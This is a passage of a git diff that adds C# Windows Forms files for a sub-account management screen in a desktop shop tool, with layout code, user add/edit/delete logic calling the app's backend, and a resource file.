((int)(((byte)(128)))), ((int)(((byte)(128))))); + this.label31.Location = new System.Drawing.Point(266, 229); + this.label31.Name = "label31"; + this.label31.Size = new System.Drawing.Size(13, 17); + this.label31.TabIndex = 32; + this.label31.Text = "*"; + // + // repasstextBox + // + this.repasstextBox.Location = new System.Drawing.Point(112, 226); + this.repasstextBox.Name = "repasstextBox"; + this.repasstextBox.PasswordChar = '*'; + this.repasstextBox.Size = new System.Drawing.Size(148, 23); + this.repasstextBox.TabIndex = 24; + // + // label32 + // + this.label32.AutoSize = true; + this.label32.Font = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label32.Location = new System.Drawing.Point(27, 227); + this.label32.Name = "label32"; + this.label32.Size = new System.Drawing.Size(79, 20); + this.label32.TabIndex = 31; + this.label32.Text = "重复密码:"; + // + // label33 + // + this.label33.AutoSize = true; + this.label33.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(128)))), ((int)(((byte)(128))))); + this.label33.Location = new System.Drawing.Point(266, 271); + this.label33.Name = "label33"; + this.label33.Size = new System.Drawing.Size(13, 17); + this.label33.TabIndex = 30; + this.label33.Text = "*"; + // + // label34 + // + this.label34.AutoSize = true; + this.label34.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(128)))), ((int)(((byte)(128))))); + this.label34.Location = new System.Drawing.Point(266, 187); + this.label34.Name = "label34"; + this.label34.Size = new System.Drawing.Size(13, 17); + this.label34.TabIndex = 29; + this.label34.Text = "*"; + // + // label35 + // + this.label35.AutoSize = true; + this.label35.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(128)))), ((int)(((byte)(128))))); + this.label35.Location = new System.Drawing.Point(266, 145); + this.label35.Name = "label35"; + this.label35.Size = new System.Drawing.Size(13, 17); + this.label35.TabIndex = 28; + this.label35.Text = "*"; + // + // label36 + // + this.label36.AutoSize = true; + this.label36.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(128)))), ((int)(((byte)(128))))); + this.label36.Location = new System.Drawing.Point(266, 103); + this.label36.Name = "label36"; + this.label36.Size = new System.Drawing.Size(13, 17); + this.label36.TabIndex = 27; + this.label36.Text = "*"; + // + // groupIdcomboBox + // + this.groupIdcomboBox.FormattingEnabled = true; + this.groupIdcomboBox.Items.AddRange(new object[] { + "客服", + "采购", + "上货", + "数据", + "登录"}); + this.groupIdcomboBox.Location = new System.Drawing.Point(112, 267); + this.groupIdcomboBox.Name = "groupIdcomboBox"; + this.groupIdcomboBox.Size = new System.Drawing.Size(148, 25); + this.groupIdcomboBox.TabIndex = 26; + this.groupIdcomboBox.Text = "采购"; + // + // label37 + // + this.label37.AutoSize = true; + this.label37.Font = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label37.Location = new System.Drawing.Point(55, 269); + this.label37.Name = "label37"; + this.label37.Size = new System.Drawing.Size(51, 20); + this.label37.TabIndex = 25; + this.label37.Text = "分组:"; + // + // passwordtextBox + // + this.passwordtextBox.Location = new System.Drawing.Point(112, 184); + this.passwordtextBox.Name = "passwordtextBox"; + this.passwordtextBox.PasswordChar = '*'; + this.passwordtextBox.Size = new System.Drawing.Size(148, 23); + this.passwordtextBox.TabIndex = 23; + // + // label38 + // + this.label38.AutoSize = true; + this.label38.Font = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label38.Location = new System.Drawing.Point(55, 185); + this.label38.Name = "label38"; + this.label38.Size = new System.Drawing.Size(51, 20); + this.label38.TabIndex = 22; + this.label38.Text = "密码:"; + // + // mobiletextBox + // + this.mobiletextBox.Location = new System.Drawing.Point(112, 142); + this.mobiletextBox.Name = "mobiletextBox"; + this.mobiletextBox.Size = new System.Drawing.Size(148, 23); + this.mobiletextBox.TabIndex = 21; + // + // label39 + // + this.label39.AutoSize = true; + this.label39.Font = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label39.Location = new System.Drawing.Point(41, 143); + this.label39.Name = "label39"; + this.label39.Size = new System.Drawing.Size(65, 20); + this.label39.TabIndex = 20; + this.label39.Text = "手机号:"; + // + // nametextBox + // + this.nametextBox.Location = new System.Drawing.Point(112, 100); + this.nametextBox.Name = "nametextBox"; + this.nametextBox.Size = new System.Drawing.Size(148, 23); + this.nametextBox.TabIndex = 19; + // + // label40 + // + this.label40.AutoSize = true; + this.label40.Font = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label40.Location = new System.Drawing.Point(41, 101); + this.label40.Name = "label40"; + this.label40.Size = new System.Drawing.Size(65, 20); + this.label40.TabIndex = 18; + this.label40.Text = "账户名:"; + // + // btnRefresh + // + this.btnRefresh.AccessibleRole = System.Windows.Forms.AccessibleRole.PushButton; + this.btnRefresh.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnRefresh.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRefresh.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnRefresh.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnRefresh.ForeColor = System.Drawing.Color.White; + this.btnRefresh.Location = new System.Drawing.Point(267, 5); + this.btnRefresh.Name = "btnRefresh"; + this.btnRefresh.Size = new System.Drawing.Size(86, 25); + this.btnRefresh.TabIndex = 36; + this.btnRefresh.Text = "刷新列表"; + this.btnRefresh.UseVisualStyleBackColor = false; + this.btnRefresh.Click += new System.EventHandler(this.btnRefresh_Click); + // + // btnCancel + // + this.btnCancel.AccessibleRole = System.Windows.Forms.AccessibleRole.PushButton; + this.btnCancel.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnCancel.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnCancel.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnCancel.ForeColor = System.Drawing.Color.White; + this.btnCancel.Location = new System.Drawing.Point(59, 328); + this.btnCancel.Name = "btnCancel"; + this.btnCancel.Size = new System.Drawing.Size(86, 25); + this.btnCancel.TabIndex = 35; + this.btnCancel.Text = "取消编辑"; + this.btnCancel.UseVisualStyleBackColor = false; + this.btnCancel.Visible = false; + this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click); + // + // btnOpUser + // + this.btnOpUser.AccessibleRole = System.Windows.Forms.AccessibleRole.PushButton; + this.btnOpUser.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnOpUser.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnOpUser.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnOpUser.ForeColor = System.Drawing.Color.White; + this.btnOpUser.Location = new System.Drawing.Point(174, 328); + this.btnOpUser.Name = "btnOpUser"; + this.btnOpUser.Size = new System.Drawing.Size(86, 25); + this.btnOpUser.TabIndex = 34; + this.btnOpUser.Text = "添加用户"; + this.btnOpUser.UseVisualStyleBackColor = false; + this.btnOpUser.Click += new System.EventHandler(this.btnOpUser_Click); + // + // dgvUser + // + this.dgvUser.AllowUserToAddRows = false; + this.dgvUser.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.dgvUser.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvUser.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.dgvUser.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvUser.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvUser.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvUser.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.UserIdColumn, + this.UserNameColumn, + this.mobileColumn, + this.groupIdColumn, + this.groupNameColumn, + this.shopCountColumn, + this.editColumn, + this.deleteColumn}); + dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle3.BackColor = System.Drawing.SystemColors.Window; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle3.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle3.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle3.SelectionForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvUser.DefaultCellStyle = dataGridViewCellStyle3; + this.dgvUser.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvUser.GridColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(215)))), ((int)(((byte)(229))))); + this.dgvUser.Location = new System.Drawing.Point(0, 5); + this.dgvUser.Name = "dgvUser"; + this.dgvUser.ReadOnly = true; + this.dgvUser.RowTemplate.Height = 23; + this.dgvUser.Size = new System.Drawing.Size(570, 435); + this.dgvUser.TabIndex = 1; + this.dgvUser.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvUser_CellContentClick); + // + // UserIdColumn + // + this.UserIdColumn.HeaderText = "id"; + this.UserIdColumn.Name = "UserIdColumn"; + this.UserIdColumn.ReadOnly = true; + this.UserIdColumn.Visible = false; + // + // UserNameColumn + // + this.UserNameColumn.HeaderText = "用户名"; + this.UserNameColumn.Name = "UserNameColumn"; + this.UserNameColumn.ReadOnly = true; + // + // mobileColumn + // + this.mobileColumn.HeaderText = "手机"; + this.mobileColumn.Name = "mobileColumn"; + this.mobileColumn.ReadOnly = true; + // + // groupIdColumn + // + this.groupIdColumn.HeaderText = "groupId"; + this.groupIdColumn.Name = "groupIdColumn"; + this.groupIdColumn.ReadOnly = true; + this.groupIdColumn.Visible = false; + // + // groupNameColumn + // + this.groupNameColumn.HeaderText = "分组"; + this.groupNameColumn.Name = "groupNameColumn"; + this.groupNameColumn.ReadOnly = true; + // + // shopCountColumn + // + this.shopCountColumn.HeaderText = "店铺数"; + this.shopCountColumn.Name = "shopCountColumn"; + this.shopCountColumn.ReadOnly = true; + // + // editColumn + // + this.editColumn.HeaderText = "编辑"; + this.editColumn.Name = "editColumn"; + this.editColumn.ReadOnly = true; + this.editColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.editColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + // + // deleteColumn + // + this.deleteColumn.HeaderText = "删除"; + this.deleteColumn.Name = "deleteColumn"; + this.deleteColumn.ReadOnly = true; + // + // SubAccountListForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 17F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(933, 445); + this.Controls.Add(this.splitContainer5); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.Name = "SubAccountListForm"; + this.Text = "用户管理"; + this.Load += new System.EventHandler(this.SubAccountForm_Load); + this.splitContainer5.Panel1.ResumeLayout(false); + this.splitContainer5.Panel1.PerformLayout(); + this.splitContainer5.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer5)).EndInit(); + this.splitContainer5.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvUser)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer5; + private UserControls.ButtonEx btnCancel; + private UserControls.ButtonEx btnOpUser; + private System.Windows.Forms.Label label30; + private System.Windows.Forms.Label label31; + private System.Windows.Forms.TextBox repasstextBox; + private System.Windows.Forms.Label label32; + private System.Windows.Forms.Label label33; + private System.Windows.Forms.Label label34; + private System.Windows.Forms.Label label35; + private System.Windows.Forms.Label label36; + private System.Windows.Forms.ComboBox groupIdcomboBox; + private System.Windows.Forms.Label label37; + private System.Windows.Forms.TextBox passwordtextBox; + private System.Windows.Forms.Label label38; + private System.Windows.Forms.TextBox mobiletextBox; + private System.Windows.Forms.Label label39; + private System.Windows.Forms.TextBox nametextBox; + private System.Windows.Forms.Label label40; + private UserComponent.DataGridViewEx dgvUser; + private System.Windows.Forms.DataGridViewTextBoxColumn UserIdColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn UserNameColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn mobileColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn groupIdColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn groupNameColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn shopCountColumn; + private System.Windows.Forms.DataGridViewLinkColumn editColumn; + private System.Windows.Forms.DataGridViewLinkColumn deleteColumn; + private UserControls.ButtonEx btnRefresh; + private System.Windows.Forms.Label label1; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopForms/SubAccountListForm.cs b/TEMUKJD/KJDForms/ShopForms/SubAccountListForm.cs new file mode 100644 index 0000000..bfd4f77 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/SubAccountListForm.cs @@ -0,0 +1,211 @@ +using AllBase; +using AllBase.Model.Result; +using LittleRabbit.LittleRabbitForms.BaseForms; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; + +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + public partial class SubAccountListForm : Form + { + public static List AllUsers { get; set; } = new List(); + public MainForm Mf { get; set; } = null; + public string Uid { get; set; } = ""; + public SubAccountListForm() + { + InitializeComponent(); + } + private void btnOpUser_Click(object sender, EventArgs e) + { + if (passwordtextBox.Text != repasstextBox.Text) + { + BaseMsgForm.ShowInfo("两次密码不正确", "提示"); + return; + } + if (btnOpUser.Text == "添加用户" && passwordtextBox.Text.Length < 6) + { + BaseMsgForm.ShowInfo("密码最少6位", "提示"); + return; + } + if (string.IsNullOrEmpty(nametextBox.Text) || string.IsNullOrEmpty(mobiletextBox.Text) || + mobiletextBox.Text.Length != 11) + { + BaseMsgForm.ShowInfo("信息不正确", "提示"); + return; + } + + StringBuilder data = new StringBuilder(); + data.Append(UserLogin.GetSignaturex()); + data.Append("&name=" + GetHtml.UrlEncodeUtf8(nametextBox.Text)); + data.Append("&username=" + GetHtml.UrlEncodeUtf8(mobiletextBox.Text)); + data.Append("&mobile=" + GetHtml.UrlEncodeUtf8(mobiletextBox.Text)); + if (groupIdcomboBox.Text == "客服") + data.Append("&group_id=4"); + else if (groupIdcomboBox.Text == "采购") + data.Append("&group_id=9"); + else + { + BaseMsgForm.ShowInfo("分组不正确", "提示"); + return; + } + //if (groupIdcomboBox.Text == "上货") + // data.Append("&group_id=10"); + //if (groupIdcomboBox.Text == "数据") + // data.Append("&group_id=11"); + //if (groupIdcomboBox.Text == "登录") + // data.Append("&group_id=8"); + if (!string.IsNullOrEmpty(passwordtextBox.Text)) + data.Append("&password=" + Md5Base.GetMd5(passwordtextBox.Text).ToLower()); + string url = BaseClass.BuildObjString("user&act=add"); + if (btnOpUser.Text != "添加用户" && !string.IsNullOrEmpty(Uid)) + { + data.Append("&id=" + Uid); + url = BaseClass.BuildObjString("user&act=update"); + } + string html = GetHtml.PostUtf8(url, data.ToString()).Trim(); + + if (html == "had" || html == "error had") + { + BaseMsgForm.ShowInfo("手机号被占用,请换一个", "提示"); + return; + } + if (!string.IsNullOrEmpty(html)) + { + if (html.Contains("\"code\":200")) + { + btnOpUser.Text = "添加用户"; + EmptyInput(); + btnCancel.Visible = false; + GetUser(); + return; + } + var msg = BaseRegex.GetStringJson(ref html, "msg"); + if (string.IsNullOrEmpty(msg)) + msg = html; + BaseMsgForm.ShowError(msg, "错误"); + return; + } + BaseMsgForm.ShowError("出现异常,添加失败", "错误"); + } + + private void EmptyInput() + { + nametextBox.Clear(); + passwordtextBox.Clear(); + repasstextBox.Clear(); + mobiletextBox.Clear(); + } + + private void GetUser() + { + dgvUser.Rows.Clear(); + AllUsers.Clear(); + string url = BaseClass.BuildObjString("user&act=get"); + string data = UserLogin.GetSignaturex(); + string html = GetHtml.PostUtf8(url, data); + if (string.IsNullOrEmpty(html)) + return; + if (html.Contains("\"data\"")) + { + var userObj = Newtonsoft.Json.Linq.JObject.Parse(html); + foreach (Newtonsoft.Json.Linq.JObject obj in userObj["data"]) + { + string oStr = JsonHelper.SerializeObject(obj); + DouShopSubAccountInfo user = new DouShopSubAccountInfo(); + user.id = BaseRegex.GetIntJson(ref oStr, "id"); + user.name = BaseRegex.GetStringJson(ref oStr, "name"); + user.mobile = BaseRegex.GetStringJson(ref oStr, "mobile"); + user.group_id = BaseRegex.GetStringJson(ref oStr, "group_id"); + user.shop_count = BaseRegex.GetIntJson(ref oStr, "shop_count"); + + AllUsers.Add(user); + dgvUser.Rows.Add(user.id, user.name, user.mobile, user.group_id, user.group_name, user.shop_count, "编辑", "删除"); + } + } + } + + private void btnCancel_Click(object sender, EventArgs e) + { + btnOpUser.Text = "添加用户"; + Uid = ""; + EmptyInput(); + btnCancel.Visible = false; + } + + private void dgvUser_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + string columname = dgvUser.Columns[e.ColumnIndex].HeaderText; + string uid = dgvUser.Rows[e.RowIndex].Cells["UseridColumn"].Value.ToString(); + string name = dgvUser.Rows[e.RowIndex].Cells["UserNameColumn"].Value.ToString(); + string mobile = dgvUser.Rows[e.RowIndex].Cells["mobileColumn"].Value.ToString(); + string groupName = dgvUser.Rows[e.RowIndex].Cells["groupNameColumn"].Value.ToString(); + if (columname == "编辑") + { + Uid = uid; + nametextBox.Text = name; + mobiletextBox.Text = mobile; + groupIdcomboBox.Text = groupName; + passwordtextBox.Text = ""; + repasstextBox.Text = ""; + btnOpUser.Text = "保存用户"; + btnCancel.Visible = true; + } + if (columname == "删除") + { + if (BaseMsgForm.ShowConfirm("是否删除,删除后无法再次添加", "提示").DialogResult == DialogResult.OK) + { + Delete(uid); + } + } + } + + public void Delete(string uid) + { + StringBuilder data = new StringBuilder(); + data.Append(UserLogin.GetSignaturex()); + data.Append("&id=" + uid); + string url = BaseClass.BuildObjString("user&act=delete"); + string html = GetHtml.PostUtf8(url, data.ToString()); + if (!string.IsNullOrEmpty(html)) + { + if (html.Contains("\"code\":200")) + { + BaseMsgForm.ShowInfo("提交成功", "提示"); + GetUser(); + return; + } + var msg = BaseRegex.GetStringJson(ref html, "msg"); + if (string.IsNullOrEmpty(msg)) + msg = html; + BaseMsgForm.ShowError(msg, "错误"); + return; + } + BaseMsgForm.ShowError("返回异常", "错误"); + } + + private void SubAccountForm_Load(object sender, EventArgs e) + { + this.groupIdcomboBox.Items.Clear(); + //this.groupIdcomboBox.Items.Add("上货"); + this.groupIdcomboBox.Items.Add("采购"); + this.groupIdcomboBox.Items.Add("客服"); + this.dgvUser.BackgroundColor = Color.White; + GetUser(); + } + + private void btnRefresh_Click(object sender, EventArgs e) + { + GetUser(); + } + } +} diff --git a/TEMUKJD/KJDForms/ShopForms/SubAccountListForm.resx b/TEMUKJD/KJDForms/ShopForms/SubAccountListForm.resx new file mode 100644 index 0000000..ad1ec8b --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/SubAccountListForm.resx @@ -0,0 +1,144 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopForms/SubAccountShopEditForm.Designer.cs b/TEMUKJD/KJDForms/ShopForms/SubAccountShopEditForm.Designer.cs new file mode 100644 index 0000000..c77f121 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/SubAccountShopEditForm.Designer.cs @@ -0,0 +1,259 @@ +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + partial class SubAccountShopEditForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(SubAccountShopEditForm)); + this.label1 = new System.Windows.Forms.Label(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.flpShopSubAccount = new System.Windows.Forms.FlowLayoutPanel(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); + this.btnAdd = new LittleRabbit.UserControls.ButtonEx(); + this.btnRemove = new LittleRabbit.UserControls.ButtonEx(); + this.flpNotSubAccount = new System.Windows.Forms.FlowLayoutPanel(); + this.btnOk = new LittleRabbit.UserControls.ButtonEx(); + this.panel1 = new System.Windows.Forms.Panel(); + this.label2 = new System.Windows.Forms.Label(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + this.tableLayoutPanel1.SuspendLayout(); + this.panel1.SuspendLayout(); + this.SuspendLayout(); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(12, 18); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(41, 12); + this.label1.TabIndex = 0; + this.label1.Text = "label1"; + // + // splitContainer1 + // + this.splitContainer1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.splitContainer1.Location = new System.Drawing.Point(12, 41); + this.splitContainer1.Name = "splitContainer1"; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.BackColor = System.Drawing.Color.Gainsboro; + this.splitContainer1.Panel1.Controls.Add(this.flpShopSubAccount); + this.splitContainer1.Panel1.Padding = new System.Windows.Forms.Padding(2); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer2); + this.splitContainer1.Size = new System.Drawing.Size(771, 326); + this.splitContainer1.SplitterDistance = 353; + this.splitContainer1.TabIndex = 1; + // + // flpShopSubAccount + // + this.flpShopSubAccount.AutoScroll = true; + this.flpShopSubAccount.BackColor = System.Drawing.Color.White; + this.flpShopSubAccount.Dock = System.Windows.Forms.DockStyle.Fill; + this.flpShopSubAccount.Location = new System.Drawing.Point(2, 2); + this.flpShopSubAccount.Name = "flpShopSubAccount"; + this.flpShopSubAccount.Size = new System.Drawing.Size(349, 322); + this.flpShopSubAccount.TabIndex = 11111; + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.tableLayoutPanel1); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.BackColor = System.Drawing.Color.Gainsboro; + this.splitContainer2.Panel2.Controls.Add(this.flpNotSubAccount); + this.splitContainer2.Panel2.Padding = new System.Windows.Forms.Padding(2); + this.splitContainer2.Size = new System.Drawing.Size(414, 326); + this.splitContainer2.SplitterDistance = 36; + this.splitContainer2.TabIndex = 0; + // + // tableLayoutPanel1 + // + this.tableLayoutPanel1.ColumnCount = 1; + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel1.Controls.Add(this.btnAdd, 0, 3); + this.tableLayoutPanel1.Controls.Add(this.btnRemove, 0, 1); + this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); + this.tableLayoutPanel1.Name = "tableLayoutPanel1"; + this.tableLayoutPanel1.RowCount = 5; + this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); + this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle()); + this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 20F)); + this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle()); + this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); + this.tableLayoutPanel1.Size = new System.Drawing.Size(36, 326); + this.tableLayoutPanel1.TabIndex = 0; + // + // btnAdd + // + this.btnAdd.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.btnAdd.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnAdd.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnAdd.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnAdd.Font = new System.Drawing.Font("宋体", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnAdd.ForeColor = System.Drawing.Color.White; + this.btnAdd.Location = new System.Drawing.Point(4, 175); + this.btnAdd.Margin = new System.Windows.Forms.Padding(2); + this.btnAdd.Name = "btnAdd"; + this.btnAdd.Size = new System.Drawing.Size(30, 26); + this.btnAdd.TabIndex = 375; + this.btnAdd.Text = "<<"; + this.btnAdd.UseVisualStyleBackColor = false; + this.btnAdd.Click += new System.EventHandler(this.btnAdd_Click); + // + // btnRemove + // + this.btnRemove.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.btnRemove.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRemove.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnRemove.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnRemove.Font = new System.Drawing.Font("宋体", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnRemove.ForeColor = System.Drawing.Color.White; + this.btnRemove.Location = new System.Drawing.Point(4, 125); + this.btnRemove.Margin = new System.Windows.Forms.Padding(2); + this.btnRemove.Name = "btnRemove"; + this.btnRemove.Size = new System.Drawing.Size(30, 26); + this.btnRemove.TabIndex = 0; + this.btnRemove.Text = ">>"; + this.btnRemove.UseVisualStyleBackColor = false; + this.btnRemove.Click += new System.EventHandler(this.btnRemove_Click); + // + // flpNotSubAccount + // + this.flpNotSubAccount.AutoScroll = true; + this.flpNotSubAccount.BackColor = System.Drawing.Color.White; + this.flpNotSubAccount.Dock = System.Windows.Forms.DockStyle.Fill; + this.flpNotSubAccount.Location = new System.Drawing.Point(2, 2); + this.flpNotSubAccount.Name = "flpNotSubAccount"; + this.flpNotSubAccount.Size = new System.Drawing.Size(370, 322); + this.flpNotSubAccount.TabIndex = 0; + // + // btnOk + // + this.btnOk.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | 